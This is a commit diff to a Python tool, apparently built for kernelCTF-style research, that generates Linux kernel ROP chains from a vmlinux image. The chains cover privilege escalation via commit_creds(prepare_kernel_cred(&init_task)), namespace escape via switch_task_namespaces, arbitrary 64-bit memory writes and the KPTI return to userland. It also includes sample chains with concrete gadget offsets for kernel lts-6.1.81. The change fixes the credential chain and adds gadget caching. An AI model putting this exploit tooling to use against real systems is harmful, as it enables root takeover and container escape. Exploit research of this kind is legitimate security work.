rop_generator: fix: commit_creds RA now calls prepare_kernel_cred (fixes refcount issue), add RP++ output caching option, remove type_ids

Author: koczkatamas

kernel_rop_generator/angrop_rop_generator.py

@@ -16,12 +16,12 @@
 from gadget_filter import GadgetFilter
 
 sys.path.append(os.path.abspath(f"{__file__}/../.."))
-from kxdb_tool.data_model.rop_chain import *
+from kxdb_tool.data_model.rop_chain import RopChainConstant, RopChainOffset, RopChainArgument, RopAction, RopActions
 from kxdb_tool.data_model.serialization import *
 
 BIT_SIZE = 64
 PREPARE_KERNEL_CRED = "prepare_kernel_cred"
-COMMIT_KERNEL_CRED = "commit_creds"
+COMMIT_CREDS = "commit_creds"
 INIT_CRED = "init_cred"
 FIND_TASK_BY_VPID = "find_task_by_vpid"
 SWITCH_TASK_NAMESPACES = "switch_task_namespaces"
@@ -52,13 +52,15 @@ def __init__(self, message):
 class RopGeneratorAngrop:
     """Generates ROP chains using angrop."""
 
-    def __init__(self, vmlinux_path) -> None:
+    def __init__(self, vmlinux_path, rpp_cache) -> None:
         """Initializes the ROP generator.
 
         Args:
           vmlinux_path: path to the vmlinux file
+          rpp_cache: path for a file where the output of rp++ can be cached
         """
         self._vmlinux_path = vmlinux_path
+        self._rpp_cache = rpp_cache
 
         # load angr on a stripped binary for speed
         with tempfile.NamedTemporaryFile(delete=True) as tmpfile:
@@ -109,7 +111,7 @@ def _find_rop_gadgets(self, rop):
 
         This is done to avoid the slowness of analyzing the entire kernel binary with angrop
         """
-        rop_backend = gadget_finder.RppBackend(self._vmlinux_path, RPP_CONTEXT_SIZE)
+        rop_backend = gadget_finder.RppBackend(self._vmlinux_path, RPP_CONTEXT_SIZE, self._rpp_cache)
         possible_gadgets = gadget_finder.find_gadgets(rop_backend)
         logger.debug("gadgets before filter: %d", len(possible_gadgets))
         gadget_filter = GadgetFilter()
@@ -152,9 +154,6 @@ def mov_reg_memory_writes(self):
         """
         Finds gadgets that perform 'mov rdi, rax' which contain a memory write.
 
-        Args:
-            binary_path: Path to the binary file.
-
         Returns:
             A list of dictionaries, where each dictionary contains the gadget and the
             address controller register for the memory write, or an empty list if none are found.
@@ -212,20 +211,20 @@ def _mov_rdi_rax(self):
             chain_mov_regs = self._rop.move_regs(**{"rdi": "rax"})
         except angrop.errors.RopException:
             pass
+
         if not chain_mov_regs:
             chain_mov_regs = self.mov_reg_memory_writes()
+
         if not chain_mov_regs:
             raise RopGeneratorError("Unable to find a mov rdi, rax gadget.")
-        items = []
+
         for value, rebased in chain_mov_regs._concretize_chain_values():  # pylint: disable=protected-access
             if rebased:
-                items.append(RopChainOffset(
+                return RopChainOffset(
                     kernel_offset=value - KERNEL_BASE_ADDRESS,
-                    description=f"mov rdi, rax"))
+                    description=f"mov rdi, rax")
             else:
-                items.append(RopChainConstant(value))
-
-        return items
+                return RopChainConstant(value)
 
     def find_memory_write(self):
         """Finds the shortest ROP gadget with a single memory write where the address is controlled by 'rsi' 
@@ -266,7 +265,7 @@ def build_rop_chain(self):
         )
         chain += self._rop.move_regs(rdi="rax")
         chain += self._rop.func_call(
-            self._find_symbol_addr(COMMIT_KERNEL_CRED), []
+            self._find_symbol_addr(COMMIT_CREDS), []
         )
         chain += self._rop.func_call(
             self._find_symbol_addr(FIND_TASK_BY_VPID), [1]
@@ -380,7 +379,6 @@ def rop_action_msleep(self, msecs: RopChainConstant | RopChainArgument):
             RopChain: The constructed ROP chain to execute the `msleep` function.
         """
         return RopAction(
-          type_id=0x01,
           description="msleep(ARG_time_msec)",
           gadgets=[
             self._find_pop_one_reg("rdi"),
@@ -397,16 +395,17 @@ def rop_action_commit_creds(self):
         items = [
             self._find_pop_one_reg("rdi"),
             self._find_symbol(INIT_CRED),
-            self._find_symbol(COMMIT_KERNEL_CRED)
+            self._find_symbol(PREPARE_KERNEL_CRED),
+            self._mov_rdi_rax(),
+            self._find_symbol(COMMIT_CREDS)
         ]
 
         return RopAction(
-          type_id=0x02,
-          description="commit_kernel_cred(prepare_kernel_cred(0))",
+          description="commit_creds(prepare_kernel_cred(&init_task))",
           gadgets=items)
 
     def rop_action_switch_task_namespaces(self, vpid: RopChainConstant | RopChainArgument):
-        """Constructs a ROP action to call fswitch_task_namespaces.
+        """Constructs a ROP action to call switch_task_namespaces.
 
         Returns:
             RopChain: The constructed ROP chain.
@@ -415,17 +414,13 @@ def rop_action_switch_task_namespaces(self, vpid: RopChainConstant | RopChainArg
             self._find_pop_one_reg("rdi"),
             vpid,
             self._find_symbol(FIND_TASK_BY_VPID),
-        ]
-
-        items.extend(self._mov_rdi_rax())
-        items.extend([
+            self._mov_rdi_rax(),
             self._find_pop_one_reg("rsi"),
             self._find_symbol(INIT_NSPROXY),
-        ])
-        items.append(self._find_symbol(SWITCH_TASK_NAMESPACES))
+            self._find_symbol(SWITCH_TASK_NAMESPACES)
+        ]
 
         return RopAction(
-          type_id=0x03,
           description="switch_task_namespaces(find_task_by_vpid(ARG_vpid), init_nsproxy)",
           gadgets=items)
 
@@ -443,7 +438,6 @@ def rop_action_ret_via_kpti_retpoline(
             RopChain: The constructed ROP chain.
         """
         return RopAction(
-          type_id=0x07,
           description="ret_via_kpti_retpoline(ARG_user_rip, ARG_user_cs, ARG_user_rflags, ARG_user_sp, ARG_user_ss)",
           gadgets=[
             RopChainOffset(
@@ -465,7 +459,6 @@ def rop_action_fork(self):
             RopChain: The constructed ROP chain.
         """
         return RopAction(
-          type_id=0x05,
           description="fork()",
           gadgets=[self._find_symbol(FORK)])
 
@@ -483,7 +476,6 @@ def rop_action_telefork(self, msecs: RopChainConstant | RopChainArgument):
                 ]
 
         return RopAction(
-          type_id=0x06,
           description="telefork(ARG_sleep_msec)",
           gadgets=items)
 
@@ -502,7 +494,6 @@ def rop_action_write_what_where_64(self, address, value):
                    description="mov qword ptr [rsi], rdi")]
 
         return RopAction(
-          type_id=0x04,
           description="write_what_where_64(ARG_address, ARG_new_value)",
           gadgets=items)
 
@@ -514,6 +505,7 @@ def rop_action_write_what_where_64(self, address, value):
     parser.add_argument("vmlinux_path", help="Path to vmlinux file")
     parser.add_argument("--output", choices=["python", "json"], default="python")
     parser.add_argument("--json-indent", type=int, default=None)
+    parser.add_argument("--rpp-cache", help="Path to cache the output of r++")
     args = parser.parse_args()
 
     patched_vmlinux_path = pathlib.Path(
@@ -523,7 +515,7 @@ def rop_action_write_what_where_64(self, address, value):
     if not patched_vmlinux_path.exists():
         RopInstructionPatcher(args.vmlinux_path).apply_patches(patched_vmlinux_path)
 
-    rop_generator = RopGeneratorAngrop(patched_vmlinux_path)
+    rop_generator = RopGeneratorAngrop(patched_vmlinux_path, args.rpp_cache)
     action_sleep = rop_generator.rop_action_msleep(RopChainArgument(0))
     action_commit_creds = rop_generator.rop_action_commit_creds()
     action_switch_task_namespace = rop_generator.rop_action_switch_task_namespaces(RopChainArgument(0))

kernel_rop_generator/gadget_finder.py

@@ -2,6 +2,7 @@
 import subprocess
 import re
 import sys
+import os.path
 from elftools.elf.elffile import ELFFile
 from elftools.common.exceptions import ELFError
 from rop_util import setup_logger
@@ -41,7 +42,7 @@ def get_text_section_range(self):
         return get_text_section_range(self.binary_path) if self.binary_path else (0, float("inf"))
 
 class RppBackend(RopGadgetBackend):
-    def __init__(self, binary_path, context_size):
+    def __init__(self, binary_path, context_size, cache_fn=None):
         """Backend using the rp++ tool
 
           Args:
@@ -50,8 +51,13 @@ def __init__(self, binary_path, context_size):
         """
         super().__init__(binary_path)
         self.context_size = context_size
+        self.cache_fn = cache_fn
 
     def get_gadgets(self):
+        if self.cache_fn and os.path.isfile(self.cache_fn):
+          with open(self.cache_fn, "rt") as f:
+            return f.readlines()
+
         try:
             logger.debug("running gadget finder rp++")
             result = subprocess.check_output(['rp++', '-r', str(self.context_size), '-f',
@@ -64,22 +70,25 @@ def get_gadgets(self):
         # rp++ starts by printing a preamble
         # find the last preamble line
         lines = result.splitlines()
-        start_line_index = 0
         for i, l in enumerate(lines):
             if "gadgets found." in l:
-                start_line_index = i+1
+                lines = lines[i+1:]
                 break
 
-        for line in lines[start_line_index:]:
-            yield line
+        if self.cache_fn:
+          with open(self.cache_fn, "wt") as f:
+            f.writelines(f"{l}\n" for l in lines)
+
+        return lines
 
 class TextFileBackend(RopGadgetBackend):
     def __init__(self, file_path, vmlinux_path=None):
         super().__init__(vmlinux_path)
         self.file_path = file_path
 
     def get_gadgets(self):
-        return open(self.file_path, "rt")
+        with open(self.file_path, "rt") as f:
+          return f.readlines()
 
 def run_gadget_finder(backend):
     """

kernel_rop_generator/rop_samples.py

@@ -14,7 +14,6 @@
 rop_actions = {
     "kernelctf/lts-6.1.81": [
         RopAction(
-          type_id=0x01,
           description="msleep(ARG_time_msec)",
           gadgets=[
             RopChainOffset(kernel_offset=0x21f5, description="pop rdi"),
@@ -23,7 +22,6 @@
 
         # commit_kernel_cred(prepare_kernel_cred(0))
         RopAction(
-          type_id=0x02,
           description="commit_kernel_cred(prepare_kernel_cred(0))",
           gadgets=[
             RopChainOffset(kernel_offset=0x21f5, description="pop rdi"),
@@ -34,7 +32,6 @@
 
         # switch_task_namespaces(find_task_by_vpid(ARG_vpid), init_nsproxy)
         RopAction(
-          type_id=0x03,
           description="switch_task_namespaces(find_task_by_vpid(ARG_vpid), init_nsproxy)",
           gadgets=[
             RopChainOffset(kernel_offset=0x21f5, description="pop rdi"),